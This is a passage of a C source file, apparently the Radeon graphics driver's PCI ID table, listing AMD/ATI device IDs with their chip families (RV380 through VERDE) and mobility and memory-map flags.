{0x1002, 0x5462, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY}, \
{0x1002, 0x5464, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_IS_MOBILITY}, \
{0x1002, 0x5548, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5549, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554C, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x554F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5550, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5551, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5552, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5554, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x564A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x564B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x564F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5652, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5653, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5657, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5834, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS300|RADEON_IS_IGP}, \
{0x1002, 0x5835, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS300|RADEON_IS_IGP|RADEON_IS_MOBILITY}, \
{0x1002, 0x5954, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS480|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5955, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS480|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5974, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS480|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5975, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS480|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5960, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280}, \
{0x1002, 0x5961, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280}, \
{0x1002, 0x5962, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280}, \
{0x1002, 0x5964, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280}, \
{0x1002, 0x5965, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280}, \
{0x1002, 0x5969, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV100|RADEON_SINGLE_CRTC}, \
{0x1002, 0x5a41, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS400|RADEON_IS_IGP|RADEON_IS_IGPGART}, \
{0x1002, 0x5a42, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS400|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5a61, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS400|RADEON_IS_IGP|RADEON_IS_IGPGART}, \
{0x1002, 0x5a62, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RS400|RADEON_IS_IGP|RADEON_IS_MOBILITY|RADEON_IS_IGPGART}, \
{0x1002, 0x5b60, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5b62, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5b63, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5b64, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5b65, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV380|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5c61, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280|RADEON_IS_MOBILITY}, \
{0x1002, 0x5c63, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV280|RADEON_IS_MOBILITY}, \
{0x1002, 0x5d48, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d49, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d4a, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d4c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d4d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d4e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d4f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d50, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d52, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5d57, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_R423|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e48, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e4a, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e4b, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e4c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e4d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x5e4f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_RV410|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6600, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6601, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6602, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6603, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6604, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6605, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6606, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6607, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6608, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6610, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6611, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6613, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6617, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6620, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6621, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6623, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6631, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_OLAND|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6640, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6641, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6646, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6647, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6649, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6650, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6651, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6658, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x665c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x665d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x665f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BONAIRE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6660, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6663, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6664, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6665, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6667, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x666F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAINAN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6700, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6701, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6702, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6703, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6704, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6705, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6706, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6707, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6708, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6709, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6718, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6719, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x671c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x671d, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x671f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAYMAN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6720, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6721, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6722, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6723, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6724, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6725, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6726, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6727, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6728, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6729, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6738, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6739, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x673e, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_BARTS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6740, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6741, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6742, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6743, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6744, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6745, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6746, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6747, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6748, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6749, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x674A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6750, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6751, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6758, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6759, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x675B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x675D, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x675F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TURKS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6760, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6761, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6762, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6763, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6764, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6765, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6766, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6767, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6768, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6770, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6771, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6772, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6778, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6779, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x677B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_CAICOS|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6780, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6784, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6788, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x678A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6790, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6791, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6792, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6798, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6799, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x679A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x679B, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x679E, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x679F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67A0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67A1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67A2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67A8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67A9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67AA, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67B0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67B1, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67B8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67B9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67BA, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x67BE, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_HAWAII|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6800, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6801, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6802, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6806, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6808, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6809, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6810, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6811, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6816, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6817, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6818, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6819, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_PITCAIRN|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6820, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6821, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6822, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6823, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6824, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6825, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6826, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6827, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6828, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x6829, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_NEW_MEMMAP}, \
{0x1002, 0x682A, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VERDE|RADEON_IS_MOBILITY|RADEON_NEW_MEMMAP}, \
